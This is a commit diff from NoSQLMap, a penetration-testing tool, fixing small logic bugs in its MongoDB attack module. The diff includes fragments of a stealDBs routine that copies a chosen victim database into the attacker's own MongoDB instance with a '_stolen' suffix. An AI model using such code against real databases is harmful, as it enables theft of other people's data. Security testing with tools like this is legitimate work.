Skip to content

Commit 0ff71dc

Browse files
committed
Merge pull request #41 from youngyangyang04/0.5.1.1
fix a little bug of logic
2 parents 71cc226 + fea582f commit 0ff71dc

2 files changed

Lines changed: 6 additions & 5 deletions

File tree

nosqlmap.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -93,7 +93,7 @@ def mainMenu():
9393
options()
9494

9595
elif select == "2":
96-
if optionSet[0] == True:
96+
if optionSet[0] == True and optionSet[4] == True:
9797
if platform == "MongoDB":
9898
nsmmongo.netAttacks(victim, dbPort, myIP, myPort)
9999

nsmmongo.py

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -154,7 +154,7 @@ def stealDBs(myDB,victim,mongoConn):
154154
while dbLoot:
155155
dbLoot = raw_input("Select a database to steal: ")
156156

157-
if int(dbLoot) > menuItem:
157+
if int(dbLoot) >= menuItem:
158158
print "Invalid selection."
159159

160160
else:
@@ -163,9 +163,9 @@ def stealDBs(myDB,victim,mongoConn):
163163
try:
164164
#Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
165165
dbNeedCreds = raw_input("Does this database require credentials (y/n)? ")
166-
166+
myDBConn = pymongo.MongoClient(myDB, 27017)
167167
if dbNeedCreds in no_tag:
168-
myDBConn = pymongo.MongoClient(myDB,27017)
168+
169169
myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim)
170170

171171
elif dbNeedCreds in yes_tag:
@@ -189,7 +189,8 @@ def stealDBs(myDB,victim,mongoConn):
189189
if str(e).find('text search not enabled') != -1:
190190
raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...")
191191
return
192-
192+
elif str(e).find('Network is unreachable') != -1:
193+
raw_input("Are you sure your network is unreachable? Press enter to return..")
193194
else:
194195
raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...")
195196
return

0 commit comments

Comments
 (0)